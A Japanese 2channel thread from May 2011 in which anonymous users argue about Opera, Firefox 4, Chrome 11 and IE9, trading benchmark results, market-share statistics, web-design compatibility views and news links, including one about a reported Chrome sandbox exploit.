738 :名無しさん@お腹いっぱい。:2011/05/08(日) 03:42:14.85 ID:SJxXkGk6P
問題あるサイトをみたことないよ

739 :名無しさん@お腹いっぱい。:2011/05/08(日) 04:49:15.07 ID:RpSjnyzk0
>>737
IE9がより標準に歩み寄った結果そうなった
それで表示がおかしくなるのはIE(8以前)に最適化して作っていた側の問題
他のブラウザのユーザを無視していたツケが回ってきただけ
最初からW3C勧告にそった作りであれば何の問題もない


740 :名無しさん@お腹いっぱい。:2011/05/08(日) 06:45:34.05 ID:SJxXkGk6P
たいした問題じゃない。

741 :名無しさん@お腹いっぱい。:2011/05/08(日) 13:18:34.57 ID:01ZCwgOv0
Opera以外のブラウザはJavaScript実行中に画面が応答しなくなる。
Opera最強伝説でござる。

742 :名無しさん@お腹いっぱい。:2011/05/08(日) 13:33:41.46 ID:Ud/OjcHn0
Opera最強神話 by RAGNAROK NEXT

743 :名無しさん@お腹いっぱい。:2011/05/08(日) 14:03:13.01 ID:US9EFR+C0
最強かどうかは知らんが
結局メインで使えるのはFxかOperaの2択だわな

744 :名無しさん@お腹いっぱい。:2011/05/08(日) 14:47:44.17 ID:M3WSJXye0
FireFox4
は糞過ぎで使用中止にしました

これ使って思ったことはやる気が無いのか技術力が内科のどちらかですね

745 :名無しさん@お腹いっぱい。:2011/05/08(日) 14:57:32.20 ID:JAOLEYysP
起こったことすら具体的に書かない奴は使う奴が糞だと思ってたのは正しかった

746 :名無しさん@お腹いっぱい。:2011/05/08(日) 17:05:22.48 ID:RpSjnyzk0
やる気も技術力もあるが
方向性が間違ってるんだろう多分

747 :名無しさん@お腹いっぱい。:2011/05/08(日) 17:25:04.59 ID:aWJKYhjf0
>>670
V8→Chrome11
Sunspider→IE9
Kraken→Firefox4.0

全部提灯

748 :名無しさん@お腹いっぱい。:2011/05/08(日) 18:58:34.72 ID:M9RaBwLY0
Firefoxのシェア見てると
アドオンの為に古い狐のままのやつが結構いる
このあたりIEと同じ臭いがすんな

749 :名無しさん@お腹いっぱい。:2011/05/08(日) 19:10:49.42 ID:JGxcmM+10
>>743
オペラはメインで使えない
シェアが証明してる

750 :名無しさん@お腹いっぱい。:2011/05/08(日) 19:14:29.65 ID:US9EFR+C0
>>749
なるほどシェア率最強のIEをメインにするんですね

751 :名無しさん@お腹いっぱい。:2011/05/08(日) 19:26:09.43 ID:tLLS6nTE0
Opera厨が鬱陶しい

752 :名無しさん@お腹いっぱい。:2011/05/08(日) 19:30:57.70 ID:4RnfBFcd0
>>751
負けてるからだろ

753 :名無しさん@お腹いっぱい。:2011/05/08(日) 19:41:35.11 ID:aWJKYhjf0
情強のメインブラウザはこういう感じ

IE6→IE7→Firefox3.0→IE8→Chrome4→IE9

754 :訂正:2011/05/08(日) 19:46:40.81 ID:aWJKYhjf0
情強のメインブラウザはこういう感じ

IE6→IE7→Firefox3.0→IE8→Chrome4〜10→IE9

755 :名無しさん@お腹いっぱい。:2011/05/08(日) 20:10:08.37 ID:4RnfBFcd0
漢は黙ってAmaya

756 : 忍法帖【Lv=18,xxxPT】 :2011/05/08(日) 20:17:45.08 ID:NhJY3KZC0
情強ってか状況に流されてるだけの阿呆

757 :名無しさん@お腹いっぱい。:2011/05/08(日) 20:23:50.32 ID:YXHcdi2q0
俺はこうなってる
IE3→NC4.x→N6→NC4.x→N6.1→(略)→N7.1→Firefox1.x→(略)→Firefox4.x

758 :名無しさん@お腹いっぱい。:2011/05/08(日) 20:58:14.07 ID:RNgbvoKf0
IE4→IE5→IE5.5→Donut→Moon→Opera→DonutQ→Firefox3x→Firefox3x & Chrome→Firefox4 & Iron

759 :名無しさん@お腹いっぱい。:2011/05/08(日) 21:04:02.91 ID:4RnfBFcd0
>>757
N7.1あたりが渋いなw
俺も使ってたわw

760 :名無しさん@お腹いっぱい。:2011/05/08(日) 22:06:18.47 ID:SJxXkGk6P
仕事がウェブデザインだから必然的に昔からIEメインだわ

761 :名無しさん@お腹いっぱい。:2011/05/08(日) 22:08:45.25 ID:SJxXkGk6P
シェアうんぬんより、どのパソコンにもIEが入ってるからっていうのが理由
コーディング時もIEを最初に準拠する。

762 :名無しさん@お腹いっぱい。:2011/05/08(日) 22:22:02.24 ID:M9RaBwLY0
Donutのころ上司緊急回避ステルス機能つきのやつお世話になりまくったわ・・・
その後はSleipnir1→2→火狐→黒目
すれぷなついな、今ページ見たらIE9対応とか言ってる

763 :名無しさん@お腹いっぱい。:2011/05/09(月) 04:55:28.92 ID:wf2sP+/X0
>>747
お前どこの国の人なの?w
V8 → Chrome11
Sunspider → Chrome11
Kraken→ Chrome11

多分、Sunspider と Kraken は、数値高いのを「いい」と勘違いるよw

764 :名無しさん@お腹いっぱい。:2011/05/09(月) 04:58:09.88 ID:wf2sP+/X0
JavaScript だけでなく、総合的に速度をベンチマークしたい人向け。

PCのベンチマークの大定番 3DMark で有名な
FutureMark の作ったブラウザベンチマークサイトでスコアを比較してみよう!

http://clients.futuremark.com/peacekeeper/index.action


765 :名無しさん@お腹いっぱい。:2011/05/09(月) 05:58:54.91 ID:rYyHzZjI0
>>760
間違いなくこいつが Webデザイナーじゃない件。
もしくは相当無能かどっちか。

Webデザイナーなら、基本全部入ってるだろw
今では、Firefox と Chrome , Safari で確認しないと、絶対仕事なんて無理。
Firefox, Chrome だけでも シェア 20%以上, 10%以上 で合わせて 30%以上 あるんだから。

ついでに言うと、IE は 9 が出たところでシェアは順調に下がっていってる。
世界規模で見れば、既にシェアは50% 切ってる。
ttp://gs.statcounter.com/#browser-ww-daily-20100501-20110501
2011/05/01 では、
IE: 42.15%,
Firefox: 30.12%
Chrome: 19.91%
Safari: 5.22%
Opera: 1.92%

最後に、↓
ttp://gs.statcounter.com/#browser-JP-daily-20100501-20110501 (日本)
ttp://gs.statcounter.com/#browser-US-daily-20100501-20110501 (アメリカ)
「IE9使ってみました!けどやっぱり戻しました!」みたいな?
Chrome から乗り換えが多い、とか言っている奴がいたが、Firefox から乗り換えが多いぽいな。

766 :名無しさん@お腹いっぱい。:2011/05/09(月) 06:55:13.12 ID:nO/nCgF80
>>765
もし本物のWebデザイナーだとしたら、他のブラウザどころか
IEの新バージョンの普及すら妨げてる存在の1人だわな。

767 :名無しさん@お腹いっぱい。:2011/05/09(月) 06:56:44.12 ID:nO/nCgF80
ああ、でも「メイン」って言ってるだけだから
一応他ブラウザも動作確認用には使ってるのかな

768 :訂正:2011/05/09(月) 07:27:22.63 ID:h3jBbmv+0
>>763
SunSpider IE9 > Chrome11
Kraken IE9 > Chrome11

だけどw

769 :名無しさん@お腹いっぱい。:2011/05/09(月) 07:28:21.98 ID:pVnucJog0
Chromeはマンカス以下

770 :名無しさん@お腹いっぱい。:2011/05/09(月) 07:28:47.16 ID:+z67pcue0
>>768
俺は
SunSpider IE9 << Chrome11
Kraken IE9 < Chrome 11
だな。

771 :名無しさん@お腹いっぱい。:2011/05/09(月) 07:53:27.08 ID:+z67pcue0
原因わかったぽい。
多分Chrome11 の方が速いという奴(俺も含め)は、
IE9 を x64 の方をインストールしている可能性が高い。
IE9 x64 だと、格段に遅い。 IE9 x32 だとちょっとだけ Sunspider では速い。
てか、チート騒ぎがあったが、実際そうなんじゃないのか?w

参考
ttp://antivirus.server-ing.com/2011/04/29/757/

ま、どちらにせよ、Chrome 最速ってことだな。


772 :名無しさん@お腹いっぱい。:2011/05/09(月) 07:58:55.51 ID:T64Qg/Kh0
64Bitネイティブにもっと力入れてくれよ
本来32Bitより速いはずだろ。

773 :名無しさん@お腹いっぱい。:2011/05/09(月) 09:22:22.23 ID:l4CG5HRDP
>>765
もちろん、ぜんぶで確認するよw
その上でIEがメインだと言ってるんだが、もしかして文盲か?


774 :名無しさん@お腹いっぱい。:2011/05/09(月) 09:53:07.03 ID:j7ZxMpw10
未だに IE8 メインなのか。
仕事柄仕方ないのかもしれないが、可哀想に。

775 :名無しさん@お腹いっぱい。:2011/05/09(月) 10:09:08.68 ID:l4CG5HRDP
>>774
いや、IE9メインで互換モード使ってる。

776 :名無しさん@お腹いっぱい。:2011/05/09(月) 14:44:20.24 ID:PfYjr06U0
で?

777 :名無しさん@お腹いっぱい。:2011/05/09(月) 15:14:18.45 ID:d+3oD+BK0
仕事ではどうせ全部確認するし、基本的にメインが何かなんて関係ないな。
強いて言えば、今盛り込まれてるエクスペリエンスを逃さないよう、普段使いはWebKit系が好ましい。

最近はIEを捨て置いて使えるプロパティがどんどん使われてるし、常にソースを確認するわけじゃないから
IEを使っていると、気付かぬ内に「IEなり」のスタイルを見せられてる確率が高い。

778 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:07:03.01 ID:l4CG5HRDP
>>777
ないない。
まだ「仕様が確定していないHTML5」を率先して取り込んでるWebkitに合わせるのはナンセンスだと思う。
Webkitが提案した仕様がそのままW3Cに取り込まれるかどうかはわからないし
最終的になくなる機能があるかもしれない。それを後から無くして同様の機能を再現とかやってられない。

IEは、パソコンを乗り換えれば純増するので、1年半後にはシェア最大のIE8からIE9へ以降し、IE9か、IE10がシェアを取るだろうね。
7のSP1を最初から搭載してるPCは、IE9が標準になるだろうし、Windows7以降はIE9→IE10への強制アップデートが来ると思う。

W3Cの提唱するHTML5の確定要素だけ使えるIE9に合わせてサイトを作っていけば問題ない。


779 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:15:05.19 ID:d+3oD+BK0
>>778
エクスペリエンスと聞いてCSS3に繋がらないのは、仕事をしていない証拠。
そして、どういうさじ加減で使われているか想像出来ないから

>>それを後から無くして同様の機能を再現とかやってられない

なんて言っちゃうわけ。
みなバンバン使ってます。どういう風に使われているかはよく勉強する事。

780 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:17:52.69 ID:l4CG5HRDP
最終的にどれだけ多くの人にちゃんと見てもらえるかが大事だよね。


781 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:23:55.47 ID:l4CG5HRDP
>>779
それは詭弁だよ。


782 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:36:22.76 ID:d+3oD+BK0
こういう>>780
先行プロパティを使う=多くの人にちゃんと見てもらえなくなる
というのは、非制作者の典型的な空論なんだよね。
実際に、どういうプロパティがどういう部分でどういう風に使われているか知らないから、詭弁とか言ってしまう。

なので「IEなり」のスタイルを見せられている、という意味もまるで分かってない。

別に仕事した事がなくても、ちょっとでもコーディングしてみた事のある人間なら解ることなのよ…
marginのバグを考慮しないのは致命的だけど、linear-gradientが効かなくても問題ないの。

783 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:40:14.16 ID:mGPTZa550
webkitにあわせる必要もないけどなw
Chromeとかを標準にしたいというならともかく
使いにくいからメインにはできないがねw

784 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:41:12.30 ID:l4CG5HRDP
>>782
あれだけレスからそれだけ妄想を広げられるとはw
もしかして、脳が電波でも受信してるのか?


785 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:43:31.78 ID:xB9/v0oa0
そもそもブラウザによって見え方が違うのは好ましくないからweb製作者ならまずはIEだと思うんだがw
次が狐、そしてwebkit、Operaの順番だろ

786 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:46:09.14 ID:d+3oD+BK0
WebKitに合わせるべきだなんて誰も言ってないよね。

デスクトップに限れば-mozでもいいけど、モバイルへの流用を考えれば
仕事を加味して「強いて言えば」、どうせならWebKitで見える世界で普段見ておくのが好ましいなという事。
どうせ全部確認するのだから、仕事に関わらずメインはなんでもいいという話。

787 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:54:22.47 ID:l4CG5HRDP
今後、モバイルブラウザの主流がWebkitになるとは思えないけどな


788 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:56:13.39 ID:NiFvhbQX0
webデザイナーって仕事がよくわからんのだが・・・
クライアントから依頼されてwebページ作る仕事って認識でおk?
この認識であってるなら普及率が高いブラウザとクライアントから指定されたブラウザできちんと表示されてりゃいいんじゃねーの?
教えてエロい人

789 :名無しさん@お腹いっぱい。:2011/05/09(月) 16:56:44.61 ID:kIFcMU+YP
【ブラウザ】今度はGoogle Chrome? SNEIがWebkitエンジニアを募集中。 PlayStation-CSブログ/ウェブリブログ
http://blog.playstation-cs.jp/201105/article_30.html


W3C、ブラウザー上でのリアルタイムコミュニケーション実現に向け規格策定へ -INTERNET Watch
http://internet.watch.impress.co.jp/docs/news/20110509_444285.html

790 :名無しさん@お腹いっぱい。:2011/05/09(月) 17:04:11.90 ID:d+3oD+BK0
>>今度はGoogle Chrome? SNEIがWebkitエンジニアを募集中
GoogleTVを採用した時点で当然でしょう

>>785
今も昔も変わらず、IEでの見え方を確保した上での話なの。
>>782で言った事に尽きるわけだけど、実際に携わらないと解らん話なのかね…

791 :名無しさん@お腹いっぱい。:2011/05/09(月) 17:14:50.09 ID:l4CG5HRDP
>>790
お前のまわりがそうだったから他もそうだとはかぎらんだろ。


792 :名無しさん@お腹いっぱい。:2011/05/09(月) 17:17:50.07 ID:EPxv9QhK0
>>790
今も昔も変わらずクライアントの要望が最優先だろう
打ち合わせの段階でどのブラウザで見れればいいか
幾らでやればいいか
機能と値段の釣り合い次第だろうに

793 :名無しさん@お腹いっぱい。:2011/05/09(月) 17:32:24.30 ID:mqLV4n7v0
「Opera」次期バージョンのテスト版「Opera Next」を公開
ttp://www.forest.impress.co.jp/docs/news/20110509_444286.html

794 :名無しさん@お腹いっぱい。:2011/05/09(月) 18:21:22.54 ID:/CALNLJDO
スピード
クローム≧ie9≧ファイアフォクス

拡張性
ファイアフォクス>クローム∞ie9(Youtubeを周りを暗くして見易くする事すら出来ない

機能
クローム(インスタント検索やPDF表示)≧ie9(win7との連携)=ファイアフォクス

特典
クローム(YoutubeやGoogleMAPが速くなるのは神)>ie9>ファイアフォクス

795 :名無しさん@お腹いっぱい。:2011/05/09(月) 18:24:04.96 ID:pVnucJog0
>>794
スピード Opera≧クローム

機能(拡張性) Fx>クローム

特典(笑)

796 :訂正:2011/05/09(月) 18:28:10.34 ID:h3jBbmv+0
IE9の登場でWindowsではChrome終了。

797 :名無しさん@お腹いっぱい。:2011/05/09(月) 18:29:53.85 ID:bBN0CxxbP
chromeはPDFと砂箱だけだな

798 :名無しさん@お腹いっぱい。:2011/05/09(月) 18:57:12.56 ID:j7ZxMpw10
>>778
>まだ「仕様が確定していないHTML5」を率先して取り込んでるWebkitに合わせるのはナンセンス
業界の常識から逸脱してるよね。
ていうか、流行(プログレッシブ・エンハスメント)に取り残されている感じか。


799 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:13:03.06 ID:z5dDH/3X0
同じ理屈で、
「仕様が確定していないCSS2.1」を率先して取り込んでいる今時の全てのブラウザに合わせるのは
ナンセンスだと思うって思ってるんだろな(笑)


800 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:21:55.71 ID:l4CG5HRDP
>>798
興奮しすぎだぞw

801 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:24:13.54 ID:l4CG5HRDP
>>798
何をどう書こうと世の中の95%以上のサイトは、IE向けに作られている。
だからIEを使うという考えは間違ってないんじゃないかね。

802 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:39:26.48 ID:z5dDH/3X0
>>801
>95%以上のサイトは、IE向けに作られている。
そんなはずないでしょ。Firefox や Chrome で見て
崩れるようなサイトは殆ど無い。
たまにあるけど、それは IE 9 でも表示は崩れる。
おいおい、大丈夫か?

803 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:42:48.00 ID:pVnucJog0
>>802
無知すなぁ
ウェブデザイナーは基本的にIE基準で作ってるよ

804 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:46:18.71 ID:z5dDH/3X0
>>803
ていうか、無知はアンタだろ。
最近のサイトだと、IEだけ特別処理いれてるから、
表示崩れる可能性があるとすれば、IE の方だよ。
(IE6〜9 まで全部対応しきれていないサイトは多い。)
お前本当にWebデザイナーなの?


805 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:54:56.84 ID:pVnucJog0
はいはいつまんない煽りだなー
じゃあお前もwebデザイナーなんですかー?

806 :名無しさん@お腹いっぱい。:2011/05/09(月) 19:57:28.85 ID:kIFcMU+YP
Webデザイナーだったら自分のブログ晒すべきじゃね?

807 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:02:28.54 ID:mGPTZa550
Googleサービス自体使わないからなぁ
検索も最近はbingとヤフーを使う時が増えた

808 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:03:59.59 ID:7zj8DrOw0
有名だけど、IE9 の表示がヤバい件。
ttp://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html

809 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:20:09.30 ID:/vYidXkV0
bingとかyahooは同じ語句を検索すると
Googleと比べ表示がワンテンポ遅くなる。
利便さ云々はおいといて速さはやっぱGoogle系がいい。

810 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:21:40.48 ID:siyecMtA0
デザイナーではないが、案件に触れる機会が多い者として
Firefox対応は明記された案件を見た事はあるが、
Chromeについては記載されていないケースが殆どだな
まあSafariに対応してれば大体同じに表示されるのかもしれないが

WebページというよりHTAで作って欲しいというオーダーから
IEのみを対象とするケースはあるね

811 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:22:28.53 ID:nO/nCgF80
>>809
Googleは入力中にも検索始めちゃってるようなもんだからなあ…

812 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:27:11.87 ID:l4CG5HRDP
>>808
これはYahoo側の怠慢だと思うんだが


813 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:44:24.61 ID:d+3oD+BK0
>>792
当たり前だろ…面倒くさい奴だな。

814 :名無しさん@お腹いっぱい。:2011/05/09(月) 20:55:24.52 ID:5Q5lLlFF0
http://ie.microsoft.com/testdrive/Graphics/CSSGradientBackgroundMaker/Default.html
これとか

各ブラウザが自分勝手な事するから
どのブラウザでも同じように見えるようにするために
同じ意味のコードを複数書かなければならない

815 :名無しさん@お腹いっぱい。:2011/05/09(月) 21:12:38.43 ID:d+3oD+BK0
いや、この程度当然でしょw
textshadowもgradientも書けば済むだけで、IE6の対応を考えたら屁でもないわ

816 :名無しさん@お腹いっぱい。:2011/05/09(月) 22:25:06.67 ID:7zj8DrOw0
>>812
XHTML1.0 全般で表示が崩れるのは、
IE9 の不具合。

817 :名無しさん@お腹いっぱい。:2011/05/09(月) 22:39:52.79 ID:QLrL+Dnw0
>>814
勝手な事じゃなくてそれがHTML5の策定プロセスじゃなかった?
少なくとも二つ以上の実装例が無いとHTML5の仕様として採用されない
ベンダプレフィックスが付いてるのは実装例を作るための先行実装だから
仕様が変わるかも知れないし採用されないかも知れない

818 :名無しさん@お腹いっぱい。:2011/05/09(月) 22:58:46.04 ID:h3jBbmv+0
http://samples.msdn.microsoft.com/ietestcenter/

IE9最高w

819 :名無しさん@お腹いっぱい。:2011/05/09(月) 23:11:35.44 ID:CrLO37+M0
text-shadowとgradientを実装してくれるだけで
デザインの幅もやりがいも増えるんだけどなあ
自分の趣味サイトはIE捨てて書いてるからいいけど
ほんともどかしい

820 :名無しさん@お腹いっぱい。:2011/05/09(月) 23:45:21.63 ID:l4CG5HRDP
>>819
IE用にDHTMLを使えよw
シャドウもグラデーションも使えるぞ。

821 :名無しさん@お腹いっぱい。:2011/05/09(月) 23:52:08.24 ID:QmfGzTEx0
ちくしょう

822 :名無しさん@お腹いっぱい。:2011/05/10(火) 00:06:13.86 ID:DnEpqDYn0
お前らに衝撃的事実を教えておいてやろう。

ttp://gs.statcounter.com/#browser-eu-daily-20100501-20110501

ヨーロッパでは、既にシェアが、 Firefox > IE だ。


823 :名無しさん@お腹いっぱい。:2011/05/10(火) 00:15:38.81 ID:5woJ2HKk0
>>822
アフリカワロタ
ものすごい勢いでIEは勢力を落とし、FxとChromeに代わられてる
そしてOperaとSafariの安定感もパネェw

824 :名無しさん@お腹いっぱい。:2011/05/10(火) 00:32:24.88 ID:hAYOHtNg0
ヨーロッパとアフリカ以外、FireFoxもシェア落ちてるじゃん。
世界全体でもIEと同じく下降線。
伸びてるのChromeだけ

825 :名無しさん@お腹いっぱい。:2011/05/10(火) 01:05:40.14 ID:RpEWnd+U0
Chromeってホントに速い?
俺のPCだとホームページ表示するのFirefox並みに遅く感じるんだけど…
なんか設定いじるのか?

826 :名無しさん@お腹いっぱい。:2011/05/10(火) 01:08:45.50 ID:hDcfx0v8P
>>825
詳細スペック欲しいな
CPU
GPU
メモリー
OS



827 :名無しさん@お腹いっぱい。:2011/05/10(火) 01:12:21.35 ID:iAQieADc0
クロームは重くてはやい
けして軽くはない

828 :名無しさん@お腹いっぱい。:2011/05/10(火) 01:13:59.42 ID:RpEWnd+U0
>>826
CPU    Corei5-760
GPU GeForce GTS250
メモリー 4GB
OS Win7 Pro

829 :名無しさん@お腹いっぱい。:2011/05/10(火) 01:18:02.18 ID:hDcfx0v8P
>>828
やっぱりそうか。うちもほぼ同世代のマシンだけどXPだとChromeは、早いけど
7で起動するとChromeおせーってなる。
IEが最速。
最終的に他のブラウザを全部削除した状態にして「裏で帯域」を使われないようにしてる。

830 :名無しさん@お腹いっぱい。:2011/05/10(火) 01:21:29.69 ID:RpEWnd+U0
>>829
やっぱそうなのか
しかしメインにはしてないけどIE9最速はガチだな



831 :名無しさん@お腹いっぱい。:2011/05/10(火) 01:38:42.12 ID:vGD+vI280
>>828
Chromeはプロセス細分化して大量にタスク発生するね
マルチコアに相性が良いように思えるんだけど何故か重い

CPU:Corei7 930
GPU:HD5870
RAM:6GB
OS:Win7x68
SSD

うちの環境での起動速度は
IE9が最速 次がFirefox4でChrome11が一番遅い。まあどれも2秒以内なので気にならんけど

ページの切替えはChromeは何故か表示した後でバックグラウンドで何かのタスクが動いてて気持ち悪い

832 :名無しさん@お腹いっぱい。:2011/05/10(火) 02:26:31.71 ID:4WhkPVey0
単純に性能や使い勝手って意味ではChromeは今はファーストチョイスにならんと思うがね
宣伝だろうなぁ、やはり
どこでも「ダウンロードしますか」だから
特に海外のサイトでは多い

833 :名無しさん@お腹いっぱい。:2011/05/10(火) 05:07:23.40 ID:ZlaT7RHB0
一時期のFirefoxも凄かった。山手線CMはビビった。
なんでオプソなのに金を垂れ流してるのかと。
結局宣伝というか露出度の反映なんだよな。シェアは。
このスレの住民みたいに全部使ってみるひとなんて一握りだし。

834 :名無しさん@お腹いっぱい。:2011/05/10(火) 07:45:11.99 ID:DnEpqDYn0
Chrome 使ってて重いとか感じたことないけど。
PDFファイルかなんか開いてんじゃね?

IE9 より全然軽い。IE9 は、1個目のタブ開く時のみ軽い。
ていうか、MSは IE なしバージョンの windows 作ってくれないかなぁ。


835 :名無しさん@お腹いっぱい。:2011/05/10(火) 08:57:57.10 ID:2pJXHAfl0
ttp://www.itmedia.co.jp/news/articles/1105/10/news023.html
Chrome自慢のセキュリティとやらもこの程度か
やはりOpera最強

836 :名無しさん@お腹いっぱい。:2011/05/10(火) 09:17:31.51 ID:hDcfx0v8P
>>834
アンインストールできるのに何言ってんの?あんた馬鹿か?
さっさとアンインストールしろ(笑)
プログラムの追加と削除からウィンドウズの機能の追加と削除あたりにあるんだが
つかIEのみの環境が一番プロセス少ないし帯域使われないし安定する。
IEのみが一番だよ。

837 :名無しさん@お腹いっぱい。:2011/05/10(火) 10:43:00.90 ID:GR5EenK30
がんばるなぁ

838 :名無しさん@お腹いっぱい。:2011/05/10(火) 11:37:58.51 ID:19AmKxcK0
>>835
珍しいねぇ。というか、VUPENすげーとしか言いようがない。
ttp://www.vupen.com/demos/VUPEN_Pwning_Chrome.php

一応一部引用すると、
http://www.vupen.com/demos/VUPEN_Pwning_Chrome.php

While Chrome has one of the most secure sandboxes and
has always survived the Pwn2Own contest during the last three years,
we have now uncovered a reliable way to execute arbitrary code
on any installation of Chrome despite its sandbox, ASLR and DEP.

3年間、Pwn2Ownコンテストで、生き残った最もセキュアなブラウザだったんだけど、
今回ハッキングに成功したことで、大きな話題には出来ただろうねぇ。

ただ、まだたまにバグは発見されているよね。Chrome11が出た時も、
いくつかあって、それを発見した人に賞金あげてた気がする。

Opera最強伝説だとは思うけど、 Opera も Pwn2Own コンテストに参加すればいいのに。

839 :名無しさん@お腹いっぱい。:2011/05/10(火) 12:23:54.37 ID:19AmKxcK0
>>834
たしか、XP の時は IE なしバージョンも海外で出たんだよな。
確かにIEはレジストリいっぱい使うし、汚れるだけ汚れるし、
再起動も必要だし、IEコンポーネントに依存している MS 製品多いし。
IE9アンインストールしたらIE8 に戻って、またIE8をアンインストールする
という手順を踏まなければならないし。
ゴミは最初からインストールされていないほうがいいから、俺も賛成。

WMP なしバージョンは 7 でも出てるよね。
WMP はまだ使える場面があるからいいけど。

840 :名無しさん@お腹いっぱい。:2011/05/10(火) 14:13:54.87 ID:VimLArfu0
>>839
そのIE無しバージョンのXPってさ、最初のブラウザを手に入れるときどうしてたの?

841 :名無しさん@お腹いっぱい。:2011/05/10(火) 15:11:12.97 ID:YpsWd6OQ0
またGoogleがドロボウしてるのか
おまえのものはオレのもの企業

[Google I/O]レコード会社の承認なくGoogleが音楽サービスを
立ち上げ–またまたAppleに負けそうだ
http://jp.techcrunch.com/archives/20110509without-the-labels-googles-music-locker-will-look-like-apples-ugly-sibling-again/

842 :名無しさん@お腹いっぱい。:2011/05/10(火) 15:23:03.40 ID:fR/JK1tT0
>>835
同じアホなら便利なほう使うってか
ってあれ? オペラ? 何言ってんだおまえ

843 :名無しさん@お腹いっぱい。:2011/05/10(火) 15:34:09.44 ID:o2sDdLt20

Google と Facebook、Skypeとの提携をめぐって対決か
ttp://japanese.engadget.com/2011/05/05/google-facebook-skype/

 ↓

米マイクロソフトが近く70億ドルでスカイプ買収=関係筋
ttp://jp.wsj.com/Business-Companies/node_233878

米MSがスカイプ買収で合意に近づく、債務含め85億ドル=関係筋
ttp://jp.reuters.com/article/topNews/idJPJAPAN-21002520110510

GoogleとFacebookが綱引きをしている間に
Microsoftに持っていかれたでござる

844 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:04:22.97 ID:ctPjE/V+0
ttp://japan.cnet.com/news/service/35002505/
WebGLの仕様に脆弱性
WebGLがどうこう言ってた奴って本当に馬鹿だったな

845 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:26:37.49 ID:k3vPASX2O
クロムとIE9同じように使ってie9がクロムより速いと感じる動体視力音痴はまずいないだろ。
ie9とファイアフォクス4は起動以外は差を感じる事はないけど
ie9はインターフェイスが超シンプルだから軽さは感じるかもね(錯覚)

スピード
クロム≧IE9=ファイアフォクス

846 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:26:46.42 ID:HM/tOUzu0
Firefoxと自分の関係を見直す - outsider reflex
http://piro.sakura.ne.jp/latest/blosxom/topics/2011-05-07_firefox-and-me.htm

May 07, 2011

Twitterとかでポロポロこぼしてるのをまとめておきたいと思ったのでまとめることにした。要点だけ先に書いておくと、以下の3点。

Firefoxが世の中に受け入れられてたのは、オープンソースだからでもWeb標準だからでもなく、
単純に「無料で手に入り、必要十分な機能を持ってて、ヘビーユーザの使用にも耐えるポテンシャルを持った、良いアプリケーションソフトウェア」だったから。

その点において世の中の関心は既にGoogle Chromeに移っている。

今でもFirefoxにこだわってる人は、おそらく時代を読めてない(でも敢えてそうしてる所が多分ある)。

847 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:30:40.16 ID:HM/tOUzu0
何度も書いてる話をまた繰り返すんだけど。

僕がMozillaに肩入れしだしたのは、僕がW3C信者で、Geckoエンジンが当時一番マシなCSS2の実装を持ってた(ように僕には思えた)からだった。
ポジショニングがちゃんと仕様通りにできて、疑似要素とかも使えて、スタイルシートWebデザインで語られていた「あるべきWeb」を実現してくれる物だ、という風に僕は思ってた。

そのうち僕はMozillaの拡張機能開発にのめり込んでいったんだけれども、
のめり込む中で「Web標準は世間知らずの学生やら学者やらが語るだけのオモチャで非現実的な絵空事、なんかでは決してないという事を証明したい」
「プラットフォームを選ばずWeb標準技術でアプリケーションソフトウェアを作れるという事そのものが、その証明になる」という思いをだんだんと強めていった気がする。
その後でUIがどうとか色々加わったものも有るんだけど、発端にあって且つ今もある核の1つであることは間違いないと思う。

そうこうするうちにオープンソースというキーワードから就職が決まり、「オープンソース素晴らしい!」的な言説にそれまでよりも沢山触れるようになった。
Mozillaも、「Firefoxはオープンソースだから多数の目によって監視されていて品質が高い」とかのアピールをよくしてた。
Firefoxのシェアがちょっとずつ増えていって、「オープンソース素晴らしい!」「コミュニティ素晴らしい!」「バザール!」「カスタマイズ性が高いのって素晴らしい!」
的な言説にもさらに多く触れるようになった気がするし、自分でもそういう事を言うようになった気がする。

848 :名無しさん@お腹いっぱい。:2011/05/10(火) 16:43:26.52 ID:HM/tOUzu0
 Web標準技術に基づいているという事。
  仕様が特定のプラットフォームの習わしに囚われていない。無色透明である。
  Webの礎を作った人達のお墨付きである。

 オープンソースで、全てのコードを見られるという事。
  トラブルの原因をとことん調べられる(根気さえあれば)。
  既存のコードを参考に派生物を作れる。誰にも気兼ねせず、恐怖に怯える事もなく、安心して成果物を公開できるし他人の成果物も取り込める。
  誰でも関われる。コードを書くだけでなく、検証したりバグを立てたりドキュメントを整備したりといった、自分にできる形でプロジェクトに参与できる。

 カスタマイズ性が高い事。
  使っていて不満に思う所があれば、かなりの程度自由に挙動を変えられる。
  愛用の道具に少しずつ手を加えていく、秘密基地を少しずつ整備していく感覚で、居心地の良い空間を作っていける。

こういうものがMozillaの、Firefoxの価値だと僕は思うようになっていた。

Mozillaの拡張機能を開発する中で僕は、それなりの評価を世間から得る事ができた。
Firefoxが世の中で受け入れられていく中で、僕の成果も評価されていった。
W3C信者でCSSコミューンで啓蒙啓蒙と息巻いていた頃に抱いた「どうしてこんな素晴らしい物を皆分かってくれないんだ」という鬱屈、
